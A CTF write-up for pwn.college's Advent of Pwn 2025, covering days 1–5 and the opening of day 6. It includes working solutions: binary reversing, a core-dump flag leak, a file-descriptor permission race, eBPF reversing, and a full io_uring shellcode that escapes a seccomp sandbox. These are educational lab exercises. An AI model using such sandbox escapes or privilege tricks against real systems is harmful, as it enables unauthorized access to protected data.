Post

Advent of Pwn 2025 - pwn.college - Write-Up

Challenges from the Advent of Pwn by pwn.college

Advent of Pwn 2025 - pwn.college - Write-Up

This is a write-up for the pwn.college Advent of Pwn 2025 challenges, there are a total of 12 challenges, structured from Day 1-12.

General: For the pwn.college challenges, the related challenge files are always in the /challenge directory. These files are SUID binaries, so the goal is to escalate privileges or exploit the proper vulnerability in the files.

In this write-up only the relevant code pieces are show, if you’d like to see the full code check the challenges.

Day 1 - Reverse Engineering

The first day’s challenge is about reverse engineering a Linux binary. The binary reads some input, applies add and subtract instructions to each byte, and compares the bytes to static values. By calculating the offset using a known input the challenge can be solved.

The challenge was given with the following description:

Every year, Santa maintains the legendary Naughty-or-Nice list, and despite the rumors, there’s no magic behind it at all—it’s pure, meticulous byte-level bookkeeping. Your job is to apply every tiny change exactly and confirm the final list matches perfectly—check it once, check it twice, because Santa does not tolerate even a single incorrect byte. At the North Pole, it’s all just static analysis anyway: even a simple objdump | grep naughty goes a long way.

For this challenge we get a file named check-list in the /challenge directory. To understand how the binary is working, we can simply disassemble it using objdump.

1
$ objdump -d check-list -M intel

The statically compiled check-list binary starts with the first code section:

1
2
3
4
5
6
7
8
9
0000000000401000 <.text>:
  401000:	48 89 e5             	mov    rbp,rsp
  401003:	48 81 ec 00 05 00 00 	sub    rsp,0x500
  40100a:	b8 00 00 00 00       	mov    eax,0x0
  40100f:	bf 00 00 00 00       	mov    edi,0x0
  401014:	48 8d b5 00 fc ff ff 	lea    rsi,[rbp-0x400]
  40101b:	ba 00 04 00 00       	mov    edx,0x400
  401020:	0f 05                	syscall
[...]

Firstly, the binary reads 0x400 bytes into a buffer on the stack. It iterates several times over each byte of that buffer and applies a series of add and subtract operations. There are a massive total amount of these simple arithmetic instructions.

1
2
3
4
5
  401022:	80 85 3f fe ff ff d4 	add    BYTE PTR [rbp-0x1c1],0xd4
  401029:	80 ad 51 fe ff ff 35 	sub    BYTE PTR [rbp-0x1af],0x35
  401030:	80 ad a0 fe ff ff 38 	sub    BYTE PTR [rbp-0x160],0x38
  401037:	80 ad 9c fc ff ff 91 	sub    BYTE PTR [rbp-0x364],0x91
[...]

Next, there are 0x400 cmp instructions. As above, each byte is treated individually and checked against a statically programmed value. If one byte doesn’t match the expected value we jump to 0xaa40c2. This address is handling the error message.

1
2
3
4
5
6
[...]
  aa4012:	0f 85 aa 00 00 00    	jne    0xaa40c2
  aa4018:	80 7d fe 19          	cmp    BYTE PTR [rbp-0x2],0x19
  aa401c:	0f 85 a0 00 00 00    	jne    0xaa40c2
  aa4022:	80 7d ff 7d          	cmp    BYTE PTR [rbp-0x1],0x7d
  aa4026:	0f 85 96 00 00 00    	jne    0xaa40c2

This code below is only executed if all checks succeed and all values match the static values. The first syscall at aa4048 is a write and will print “Correct: you checked it twice,” which is the string at address 0xaa5006. After that, the string “/flag” is loaded from 0xaa5000, a open syscall is executed, the file is read and finally write() is called to print the flag. The last syscall is used to exit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
  aa402c:	48 c7 c0 01 00 00 00 	mov    rax,0x1
  aa4033:	48 c7 c7 01 00 00 00 	mov    rdi,0x1
  aa403a:	48 8d 35 c5 0f 00 00 	lea    rsi,[rip+0xfc5]        # 0xaa5006
  aa4041:	48 c7 c2 31 00 00 00 	mov    rdx,0x31
  aa4048:	0f 05                	syscall
  aa404a:	b8 02 00 00 00       	mov    eax,0x2
  aa404f:	48 8d 3d aa 0f 00 00 	lea    rdi,[rip+0xfaa]        # 0xaa5000
  aa4056:	be 00 00 00 00       	mov    esi,0x0
  aa405b:	ba 00 00 00 00       	mov    edx,0x0
  aa4060:	0f 05                	syscall
  aa4062:	48 83 f8 00          	cmp    rax,0x0
  aa4066:	7c 4e                	jl     0xaa40b6
  aa4068:	49 89 c4             	mov    r12,rax
  aa406b:	b8 00 00 00 00       	mov    eax,0x0
  aa4070:	4c 89 e7             	mov    rdi,r12
  aa4073:	48 8d b5 00 fb ff ff 	lea    rsi,[rbp-0x500]
  aa407a:	ba 00 01 00 00       	mov    edx,0x100
  aa407f:	0f 05                	syscall
  aa4081:	48 83 f8 00          	cmp    rax,0x0
  aa4085:	7e 2f                	jle    0xaa40b6
  aa4087:	48 89 c1             	mov    rcx,rax
  aa408a:	48 c7 c0 01 00 00 00 	mov    rax,0x1
  aa4091:	48 c7 c7 01 00 00 00 	mov    rdi,0x1
  aa4098:	48 8d b5 00 fb ff ff 	lea    rsi,[rbp-0x500]
  aa409f:	48 89 ca             	mov    rdx,rcx
  aa40a2:	0f 05                	syscall
  aa40a4:	48 83 f8 00          	cmp    rax,0x0
  aa40a8:	7c 0c                	jl     0xaa40b6
  aa40aa:	b8 3c 00 00 00       	mov    eax,0x3c
  aa40af:	bf 00 00 00 00       	mov    edi,0x0
  aa40b4:	0f 05                	syscall
[...]

The last part of the code is only called if the checks using the cmp instructions fail. This will only print a static error message - “Wrong: Santa told you to check that list twi…“.

1
2
3
4
5
6
7
8
  aa40c2:	48 c7 c0 01 00 00 00 	mov    rax,0x1
  aa40c9:	48 c7 c7 01 00 00 00 	mov    rdi,0x1
  aa40d0:	48 8d 35 61 0f 00 00 	lea    rsi,[rip+0xf61]        # 0xaa5038
  aa40d7:	48 c7 c2 35 00 00 00 	mov    rdx,0x35
  aa40de:	0f 05                	syscall
  aa40e0:	b8 3c 00 00 00       	mov    eax,0x3c
  aa40e5:	bf 01 00 00 00       	mov    edi,0x1
  aa40ea:	0f 05                	syscall

Since the input bytes are obfuscated individually and each check relies on a simple cmp against a static value, we can directly extract those constants from the comparison instructions. Additionally, by supplying 0x400 A’s as input, we can collect the transformed output values. Using these values, we can compute the required offsets and derive the bytes needed to construct the solving payload.

Firstly, we can extract all the values from the cmp instructions using grep, then we can make a list out of the values.

1
2
$ objdump -d /challenge/check-list -M intel | grep cmp | grep BYTE | awk -F, '{print $2}' | tr '\n' ',' | sed 's/,$//'; echo
0xcc,0xca,0xc5,0x93,0x1d,0x51,0x9c,0xdf,0x31,0x53,0x58,0xcd,0x2c,0x45,0xa0,0xa5,0xeb,0x1,0x43,0x64,0x89,0xaf,0x64,0x19,0xef,0xeb,...

Secondly, we proceed with gdb and extract the obfuscated characters. We can break at 0xaa0dac which is the first cmp instruction. Once the breakpoint is hit, use the dump binary memory command to extract the bytes.

1
2
3
4
5
6
$ gdb /challenge/check-list
(gdb) break *0xaa0dac
(gdb) run < <(python3 -c "print('A'*0x400)" )

Breakpoint 1, 0x0000000000aa0dac in ?? ()
(gdb) dump binary memory dump.bin $rbp-0x400 $rbp

The last step before retrieving the flag is to compute the correct input bytes.

The equation for this is:

\[difference_i = output_i - inputted_i\]

So to get the input:

\[input_i = needed_i - difference_i = needed_i - output_i + inputted_i\]
1
2
3
4
cmp_vals = [0xcc,0xca,0xc5,0x93,0x1d,0x51,0x9c,0xdf,0x31,0x53,0x58,0xcd,0x2c,0x45,0xa0,....]
obfuscatedAs = open("dump.bin","rb").read()
correct_input = [(0x41+cmp_vals[i]-obfuscatedAs[i])&0xff for i in range(0x400)]
open("correct_input_values.bin","wb").write(bytes(correct_input))

Run the script and pipe in the valid bytes to get the flag.

1
2
3
$ cat correct_input_values.bin | /challenge/check-list 
✨ Correct: you checked it twice, and it shows!
pwn.college{practice}

Day 2 - Linux Core Dumps

The second challenge in this series is about exploiting the generation of core dump files and reading these files through the intended logic of the pwn.college machines.

Day 2 has a Linux man page as the description:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CLAUS(7)                   Linux Programmer's Manual                   CLAUS(7)

NAME
       claus - unstoppable holiday daemon

DESCRIPTION
       Executes once per annum.
       Blocks SIGTSTP to ensure uninterrupted delivery.
       May dump coal if forced to quit (see BUGS).

BUGS       
       Under some configurations, quitting may result in coal being dumped into
       your stocking.

SEE ALSO
       nice(1), core(5), elf(5), pty(7), signal(7)

Linux                              Dec 2025                            CLAUS(7)

We are given 3 files: a init-coal.sh which is executed on startup, a binary named claus and the source code, claus.c, of it.

init-coal.sh

The shell script which runs on challenge start activates core dumps.

1
2
3
4
5
6
7
#!/bin/sh

set -eu

mount -o remount,rw /proc/sys
echo coal > /proc/sys/kernel/core_pattern
mount -o remount,ro /proc/sys

According to the Linux man page core the /proc/sys/kernel/core_pattern can be used to set the file name of the core dump file.

By default, a core dump file is named core, but the /proc/sys/kernel/core_pattern file (since Linux 2.6 and 2.4.21) can be set to define a template that is used to name core dump files.

claus.c

The script first checks if ruid is 0 otherwise it will re-execute the binary using /proc/self/exe.

1
2
3
4
5
6
7
8
9
10
    if (ruid != 0) {
        if (setreuid(0, -1) == -1) {
            perror("setreuid");
            return 1;
        }
        execve("/proc/self/exe", argv, envp);

        perror("execve");
        return 127;
    }

This is needed because a core dump on this configuration is only created if the ruid matches the euid. According to the man page core 5.

[A core dump file is not produced if] The process is executing a set-user-ID (set-group-ID) program that is owned by a user (group) other than the real user (group) ID of the process.

If the script has the ruid set to 0 it will continue and open the flag. The flag and the size of it is then passed into the wrap() function.

1
2
3
4
5
    int fd = open("/flag", O_RDONLY);

    int count = read(fd, gift, sizeof(gift));

    wrap(gift, count);

The function is basically slowly replacing each flag character with a #.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void wrap(char *gift, size_t size)
{
    fprintf(stdout, "Wrapping gift: [          ] 0%%");
    for (int i = 0; i < size; i++) {
        sleep(1);
        gift[i] = "#####\n"[i % 6];
        int progress = (i + 1) * 100 / size;
        int bars = progress / 10;
        fprintf(stdout, "\rWrapping gift: [");
        for (int j = 0; j < 10; j++) {
            fputc(j < bars ? '=' : ' ', stdout);
        }
        fprintf(stdout, "] %d%%", progress);
        fflush(stdout);
    }
    fprintf(stdout, "\n🎁 Gift wrapped successfully!\n\n");
}

Core Dump

To use the core dumps we need to activate core dumps using ulimit -c unlimited. This is needed since ulimit -c returns 0, so not activated.

After doing that we can execute the program and then press Ctrl + \, this will trigger a SIGQUIT which will create a core dump file aka a coal file in the current directory.

1
2
3
4
5
6
7
$ ulimit -c unlimited
$ /challenge/claus
🦌 Now, Dasher! now, Dancer! now, Prancer and Vixen!
On, Comet! on Cupid! on, Donder and Blitzen!

Wrapping gift: [          ] 4%^\Quit (core dumped)
$

The coal file itself won’t be readable by us as the user, for that we can restart the docker container into practice mode and then print the flag by using for ex. strings.

1
2
$ sudo strings coal | grep }
#wn.college{practice}

Day 3 - Linux Pwn

The challenge on the 3. December is about using the intended functionality of the Linux Kernel to retrieve file contents.

Day 3 starts with the following description:

During the annual holiday deployment cycle, the stuff-stocking service incorrectly delivered a user’s gift into a stocking owned by root. This occurs as soon as the “children sleeping nicely” signal fires, which triggers Santa’s stocking-fill workflow (SLEIGH-RFC-1225).

Once the condition triggers, /stocking—created prematurely and owned by root—is sealed and the gift is written inside, leaving the intended recipient empty-handed.

[… shortened …]

The challenge only contains 2 scripts, init-stuff-stocking.sh is simply starting stuff-stocking. The script is reading the flag and saving it in a variable, after that a file is touched and a sleep function is executed. If there is a sleep command with a nice value bigger than 1 the script continues, changes the permissions of the flag file and writes the flag to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh

set -eu

GIFT="$(cat /flag)"
rm /flag

touch /stocking

sleeping_nice() {
    ps ao ni,comm --no-headers \
        | awk '$1 > 0' \
        | grep -q sleep
}

# Only when children sleep sweetly and nice does Santa begin his flight
until sleeping_nice; do
    sleep 0.1
done

chmod 400 /stocking
printf "%s" "$GIFT" > /stocking

Although the challenge first looks impossible there is a known fact in Linux that can be used to solve this challenge. The permissions of files are only checked when opening a file. If we have a file open and the permissions are changed and - if the file descriptor persists, it can be used to interact with the file disregarding the new permissions.

A simple Python snippet is enough to solve this.

1
2
3
4
5
6
7
8
9
10
11
12
import time
while True:
    try:
        f = open('/stocking', 'r')
        while True:
            data = f.read()
            if data:
                print(data)
                exit()
            time.sleep(0.01)
    except:
        pass

After starting the Python script in a different window we proceed by running nice sleep 10, this will trigger the shell script to continue and printf the flag into the file.

1
2
$ python3 solve.py
pwn.college{practice}

Day 4 - Linux Kernel Reverse Engineering

This challenge is about reverse engineering a Linux eBPF program, with the found revered code we can execute some commands to get the flag.

The challenge of the fourth day is introduced with the following description:

Every Christmas Eve, Santa’s reindeer take to the skies—but not through holiday magic. Their whole flight control stack runs on pure eBPF, uplinked straight into the North Pole, a massive kprobe the reindeer feed telemetry into mid-flight. The ever-vigilant eBPF verifier rejects anything even slightly questionable, which is why the elves spend most of December hunched over terminals, running llvm-objdump on sleigh binaries and praying nothing in the control path gets inlined into oblivion again. It’s all very festive, in a high-performance-kernel-engineering sort of way. Ho ho .ko!

In the /challenge directory, you will find four essential files for this challenge: northpole.c, which serves as an eBPF loader; tracker.bpf.o, a compiled eBPF program; and init-northpole.sh, the boot-up starter for the challenge.

northpole.c

This C program loads the eBPF file tracker.bpf.o into the Kernel and links the program handle_do_linkat, whenever the syscall linkat (__x64_sys_linkat) is executed this function is triggered.

The linkat syscall is used to create hard links, so two files can point to the same inode.

Each of the functions in the script is part of the Libbpf userspace library.

1
2
3
4
5
6
7
    obj = bpf_object__open_file("/challenge/tracker.bpf.o", NULL);

    err = bpf_object__load(obj);

    prog = bpf_object__find_program_by_name(obj, "handle_do_linkat");

    link = bpf_program__attach_kprobe(prog, false, "__x64_sys_linkat");

Furthermore, the northpole.c loads a map named success from the eBPF program, this is used to share data between the Kernel and the userspace application. After the initial setup the script continues with a while loop, which waits for the success to become 1, if that happens broadcast_cheer is executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    success = bpf_object__find_map_by_name(obj, "success");
    map_fd = bpf_map__fd(success);

    while (!stop) {
        __u32 v = 0;
        if (bpf_map_lookup_elem(map_fd, &key0, &v) == 0 && v != 0) {
            should_broadcast = 1;
            stop = 1;
            break;
        }
        usleep(100000);
    }

    if (should_broadcast)
        broadcast_cheer();

The broadcast_cheer function prints the flag to the open ttys if the challenge was successfully solved.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void broadcast_cheer(void)
{
    int ffd = open("/flag", O_RDONLY | O_CLOEXEC);
    if (ffd >= 0) {
        n = read(ffd, flag, sizeof(flag) - 1);
    }

    snprintf(
        banner,
        sizeof(banner),
        "🎅 🎄 🎁 \x1b[1;31mHo Ho Ho\x1b[0m, \x1b[1;32mMerry Christmas!\x1b[0m\n"
        "%s",
        flag);
    
    while ((de = readdir(d)) != NULL) {
        const char *name = de->d_name;
        size_t len = strlen(name);
        bool all_digits = true;

        for (size_t i = 0; i < len; i++) {
            if (!isdigit((unsigned char)name[i])) {
                all_digits = false;
                break;
            }
        }

        snprintf(path, sizeof(path), "/dev/pts/%s", name);
        int fd = open(path, O_WRONLY | O_NOCTTY | O_CLOEXEC);
        
        write(fd, banner, strlen(banner));
    }
}

tracker.bpf.o

For the eBPF file there is no source code available, so we need to reverse engineer this file.

Loading the file into Ghidra provides the quickest way to grasp its overall structure.

The important function in that object file is the handle_do_linkat function since this function is loaded by the userspace binary.

At the beginning of the code there are two bpf_probe_read_kernel function calls, they are used to load the old path and the new path for the hard link.

Below these calls are a lot of function blocks in the form of:

1
2
3
4
  if (CONCAT26(uStack_a,CONCAT15(uStack_b,CONCAT14(uSt ack_c,CONCAT13(uStack_d,CONCAT12(uStack_e,
                                                  CONCAT11(uStack_f,local_10))) ))) != 0x73) {
    return 0;
  }

These are essentially one character comparisons, the if checks if one character matches a static value.

To clean up the code, we can use some artificial intelligence, a AI platform of your choice. Alternatively, we could manually revere engineer each character comparision.

I used Claude for this purpose with the following prompt: This is decompiled eBPF code, we have string comparisons which are made byte by byte, don’t show them in detail create high-level code for the function.

Code Analysis

The first part of the function is setting up the variables and loading pointers to the strings.

1
2
3
4
5
6
7
8
9
10
11
12
int handle_do_linkat(struct pt_regs *ctx) {
    void *oldname_ptr = NULL;
    void *newname_ptr = NULL;
    char oldname[MAX_FILENAME_LEN];
    char newname[MAX_FILENAME_LEN];
    int next_stage = 0;
    int map_key = 0;
    
    long syscall_args = ctx->regs[7];

    bpf_probe_read_kernel(&oldname_ptr, sizeof(oldname_ptr), (void *)(syscall_args + 0x68));
    bpf_probe_read_kernel(&newname_ptr, sizeof(newname_ptr), (void *)(syscall_args + 0x38));

The next part is checking if the old file name is sleigh.

1
2
3
4
5
    bpf_probe_read_user_str(oldname, MAX_FILENAME_LEN, oldname_ptr);
    
    if (!string_equals(oldname, "sleigh", 7)) {
        return 0;
    }

The new file name check can be found right after the old file name check. It is implemented within a large switch statement. The next_stage function updates our current stage; if a linkat syscall is triggered and the file names do not match, we reset the stage to 0. Once the last case is processed, we set the success value to 1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
    bpf_probe_read_user_str(newname, MAX_FILENAME_LEN, newname_ptr);
    
    int current_stage = 0;
    int *progress_ptr = bpf_map_lookup_elem(&progress, &map_key);

    switch (current_stage) {
        case 0:
            if (string_equals(newname, "dasher", 7)) { next_stage = 1; }
            break;
        case 1:
            if (string_equals(newname, "dancer", 7)) { next_stage = 2; }
            break;
        case 2:
            if (string_equals(newname, "prancer", 8)) { next_stage = 3; }
            break;
        case 3:
            if (string_equals(newname, "vixen", 6)) { next_stage = 4; }
            break;
        case 4:
            if (string_equals(newname, "comet", 6)) { next_stage = 5; }
            break;
        case 5:
            if (string_equals(newname, "cupid", 6)) { next_stage = 6; }
            break;
        case 6:
            if (string_equals(newname, "donner", 7)) { next_stage = 7; }
            break;
        case 7:
            if (string_equals(newname, "blitzen", 8)) {
                next_stage = 8;
                char success_flag[4] = {1, 0, 0, 0};
                bpf_map_update_elem(&success, &map_key, success_flag, 0);
            }
            break;
        default:
            next_stage = 0;
            break;
    }

This code lastly updates the next_stage variable.

1
    bpf_map_update_elem(&progress, &map_key, &next_stage, 0);

Final Payload

So to solve the challenge we need to execute several linkat syscalls with the extracted file names. To do that we first need to create a file named sleigh using for ex. touch sleigh and then execute linkat on this file, this can be done using the ln command which uses linkat.

Here is the full list of file names for the hardlinks.

1
2
3
4
5
6
7
8
ln sleigh dasher
ln sleigh dancer
ln sleigh prancer
ln sleigh vixen
ln sleigh comet
ln sleigh cupid
ln sleigh donner
ln sleigh blitzen

Not long after creating the last hard link we receive the flag.

1
2
🎅 🎄 🎁 Ho Ho Ho, Merry Christmas!
pwn.college{practice}

Alternative Way

Instead of using Ghidra we could also use lvm-objdump to disassemble the file.

1
llvm-objdump -S --no-show-raw-insn /challenge/tracker.bpf.o

Day 5 - Seccomp Escape io_uring

Day 5 provides a binary which only allows io_uring syscalls using seccomp. The challenge is to open the flag file using the io_uring syscalls which provide asynchronous Linux syscalls.

The challenge begins with the following description:

Did you ever wonder how Santa manages to deliver sooo many presents in one night?

Dashing through the code,
In a one-ring I/O sled,
O’er the syscalls go,
No blocking lies ahead!
Buffers queue and spin,
Completions shining bright,
What fun it is to read and write,
Async I/O tonight — hey!

For this challenge only two files are given: sleigh.c and the compiled binary sleigh .

Code Analysis

The program starts by mapping a page of memory. Furthermore it is computing a random offset. After that it is reading the 0x1000 bytes into the memory sections.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    void *code = mmap(NORTH_POLE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (code != NORTH_POLE_ADDR) {
        perror("mmap");
        return 1;
    }

    srand(time(NULL));
    int offset = (rand() % 100) + 1;

    puts("🛷 Loading cargo: please stow your sled at the front.");

    if (read(STDIN_FILENO, code, 0x1000) < 0) {
        perror("read");
        return 1;
    }

Next the setup_sandbox is called, the function is setting up the seccomp rules.

1
2
3
4
5
    puts("📜 Checking Santa's naughty list... twice!");
    if (setup_sandbox() != 0) {
        perror("setup_sandbox");
        return 1;
    }

The sandbox blocks all syscalls by default, only io_uring_setup, io_uring_enter, io_uring_register and exit_group are allowed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int setup_sandbox()
{
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
        perror("prctl(NO_NEW_PRIVS)");
        return 1;
    }

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_setup), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_enter), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_register), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
        perror("seccomp_rule_add");
        return 1;
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        return 1;
    }

    seccomp_release(ctx);
}

Lastly, the challenge executes the code read into the memory section, but skips a certain number of bytes because of the offset.

1
2
    // puts("❄️ Dashing through the snow!");
    ((void (*)())(code + offset))();

Concept

io_uring

io_uring is a Linux kernel interface for high-performance asynchronous I/O.

There are several IORING operation codes which can be used to solve this CTF, including IORING_OP_OPENAT,IORING_OP_READ and IORING_OP_WRITE. With those two we can open a file and write the content back to the screen.

So with that, it is possible to do those sub syscalls using io_uring. The next question is whether seccomp will be blocking the syscalls executed asyncronously by io_uring, because the Kernel essentially executes the operation codes as syscalls. Surprisingly seccomp does not protect against syscalls executed using io_uring, which can be seen in this article.

To start such a io_uring syscall you need to “set up shared buffers with io_uring_setup(2) and mmap(2), mapping into user space shared buffers for the submission queue (SQ) and the completion queue (CQ)” according to the Linux documentation. The issue is that we can not do mmap syscalls. Fortunately, there is a option to circumvent that, IORING_SETUP_NO_MMAP will allow us to set the shared buffers for the submission/completion. The last challenge now is to find two memory pages which can be used for that.

After setting up the shared buffers, we can submit a operation using the submission queue, we can place the “task” and then execute io_uring_enter.

It is quite hard to write this challenge in raw assembly, so for this challenge I build the assembly from C code and then copied the compiled assembly code as the shellcode. To overcome the challenge of the offset we can simply add 100 NOPs before the actual code.

Scripts

Shellcode

The shellcode starts by putting the flag string on the flag and create 3 pages for the queues and the flag buffer using __attribute__((aligned(0x1000))). Next it does a io_uring_setup with the created buffer and options. After that, a openat is used to open the flag and finally we enter a loop which reads/writes the file content to stdout. Each time a operation is put in the submission queue the io_uring_enter syscall is executed.

For reference https://man7.org/linux/man-pages/man7/io_uring.7.html.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// compiled using gcc solve_raw.c -o solve_raw
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <stdint.h>
#include <sys/syscall.h>


#define QUEUE_DEPTH 1
#define BLOCK_SZ 1024

#define store_rel(p,v) __atomic_store_n(p,v,__ATOMIC_RELEASE)
#define load_acq(p)    __atomic_load_n(p,__ATOMIC_ACQUIRE)
#define RAW_SYSCALL(num, a1, a2, a3, a4, a5, a6)                     \
({                                                                   \
    long _ret;                                                       \
    register long _r10 __asm__("r10") = (long)(a4);                  \
    register long _r8  __asm__("r8")  = (long)(a5);                  \
    register long _r9  __asm__("r9")  = (long)(a6);                  \
    __asm__ volatile(                                                \
        "syscall"                                                    \
        : "=a"(_ret)                                                 \
        : "a"(num), "D"(a1), "S"(a2), "d"(a3),                       \
          "r"(_r10), "r"(_r8), "r"(_r9)                              \
        : "rcx", "r11", "memory"                                     \
    );                                                               \
    _ret;                                                            \
})


int main() {
    char flag_path[6] = {'/', 'f', 'l', 'a', 'g', 0};
    struct io_uring_params p = {0};

    off_t offset = 0;

    /* Stack memory: page-aligned */
    char pages[0x3000] __attribute__((aligned(0x1000)));
    void *sqes_mem        = pages;
    void *sq_cq_ring_mem  = pages + 0x1000;
    char *buff            = pages + 0x2000;

    p.sq_off.user_addr = (unsigned long)sqes_mem;
    p.cq_off.user_addr = (unsigned long)sq_cq_ring_mem;
    p.flags = IORING_SETUP_NO_MMAP;

    /* io_uring_setup */
    int ring_fd = RAW_SYSCALL(__NR_io_uring_setup, QUEUE_DEPTH, (long)&p, 0, 0, 0, 0);

    unsigned *sring_tail  = (unsigned *)((char*)sq_cq_ring_mem + p.sq_off.tail);
    unsigned *sring_mask  = (unsigned *)((char*)sq_cq_ring_mem + p.sq_off.ring_mask);
    unsigned *sring_array = (unsigned *)((char*)sq_cq_ring_mem + p.sq_off.array);
    struct io_uring_sqe *sqes = (struct io_uring_sqe*)sqes_mem;

    unsigned *cring_head = (unsigned *)((char*)sq_cq_ring_mem + p.cq_off.head);
    unsigned *cring_tail = (unsigned *)((char*)sq_cq_ring_mem + p.cq_off.tail);
    unsigned *cring_mask = (unsigned *)((char*)sq_cq_ring_mem + p.cq_off.ring_mask);
    struct io_uring_cqe *cqes = (struct io_uring_cqe*)((char*)sq_cq_ring_mem + p.cq_off.cqes);

    /* ---- OPEN /flag ---- */
    unsigned t = *sring_tail;
    unsigned i = t & *sring_mask;
    struct io_uring_sqe *sqe = &sqes[i];

    sqe->opcode = IORING_OP_OPENAT;
    sqe->fd     = AT_FDCWD;
    sqe->addr   = (unsigned long)flag_path;
    sqe->len    = O_RDONLY;
    sqe->off    = 0;

    sring_array[i] = i;
    store_rel(sring_tail, t + 1);

    RAW_SYSCALL(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);

    unsigned h = load_acq(cring_head);
    int fd = cqes[h & *cring_mask].res;
    store_rel(cring_head, h + 1);

    /* ---- READ+WRITE loop ---- */
    while (1) {

        /* READ */
        t = *sring_tail;
        i = t & *sring_mask;
        sqe = &sqes[i];

        sqe->opcode = IORING_OP_READ;
        sqe->fd     = fd;
        sqe->addr   = (unsigned long)buff;
        sqe->len    = BLOCK_SZ;
        sqe->off    = offset;

        sring_array[i] = i;
        store_rel(sring_tail, t + 1);

        RAW_SYSCALL(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);

        h = load_acq(cring_head);
        struct io_uring_cqe *cqe = &cqes[h & *cring_mask];
        int res = cqe->res;
        store_rel(cring_head, h + 1);

        if (res <= 0) break;
        offset += res;

        /* WRITE (via io_uring) */
        t = *sring_tail;
        i = t & *sring_mask;
        sqe = &sqes[i];

        sqe->opcode = IORING_OP_WRITE;
        sqe->fd     = 1;
        sqe->addr   = (unsigned long)buff;
        sqe->len    = res;
        sqe->off    = -1;

        sring_array[i] = i;
        store_rel(sring_tail, t + 1);

        RAW_SYSCALL(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);

        h = load_acq(cring_head);
        store_rel(cring_head, h + 1);
    }

    return 0;
}

Python solver script

The script loads the assembly using the helper function read_function. Finally the payload is send.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from pwn import *

def read_function(binary_file, function_name):
    binary = ELF(binary_file)
    function = binary.functions[function_name]

    with open(binary_file, "rb") as f:
        f.seek(function.address-binary.address)
        code = f.read(function.size)

    return code

context.binary = elf = ELF("/challenge/sleigh")
context.arch = 'amd64'

p = process([elf.path])

main_bytes = read_function("./solver_raw","main")

log.info(f"Beginning of bytes: {main_bytes[:10].hex()}")

log.info(disasm(main_bytes[:20]))

pre_block = asm("nop")*100

payload = pre_block
payload += main_bytes

p.sendline(payload)

for _ in range(2):
    log.info(p.recvline().decode())

log.success(p.recvline().decode())


p.close()

Flag

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 solve.py
[+] Starting local process '/challenge/sleigh': pid 1044
[*] Beginning of bytes: 554889e54881e400f0ff
[*]    0:   55                      push   rbp
       1:   48 89 e5                mov    rbp, rsp
       4:   48 81 e4 00 f0 ff ff    and    rsp, 0xfffffffffffff000
       b:   48 81 ec 88 3f 00 00    sub    rsp, 0x3f88
      12:   c7                      .byte 0xc7
      13:   84                      .byte 0x84
[*] 🛷 Loading cargo: please stow your sled at the front.
[*] 📜 Checking Santa's naughty list... twice!
[+] pwn.college{practice}

Day 6 - Blockchain

The sixth challenge in the series is about exploiting the functionality of a blockchain. We can trick santa, a user of the blockchain, to send us unlimited gifts.

The challenge begins with the following description:

Now introducing…

🎁 NiceCoin™ — the world’s first decentralized, elf-mined, holly-backed virtue token. Mint your cheer. Secure your joy. Put holiday spirit on the blockchain.

Elves now mine blocks recording verified Nice deeds and mint NiceCoins. Children send signed, on-chain letters to request presents, and Santa—bound by transparent, immutable consensus—must follow the ledger. The workshop is running on proof-of-work, mempools, and a very fragile attempt at “trustless” Christmas cheer.

Ho-ho-hope you’re ready. 🎅🔥

This time there are 5 Python scripts and 1 folder keys in the challenge directory.

Basic Information

For this challenge we have a blockchain service north_poole.py written in Flask: it maintains a simple proof-of-work chain with signed transactions, a transaction pool, balance tracking, and rules around a special NiceCoin™ reward, exposing endpoints to submit blocks, submit/view transactions, and query balances.

Additionally we have a santa.py application which is checking for special letter transactions and is returning gifts.

Furthermore, there is a children.py application which is sending letters to santa.

The last application we have is a elf.py application, the elves are only mining NiceCoin™s.

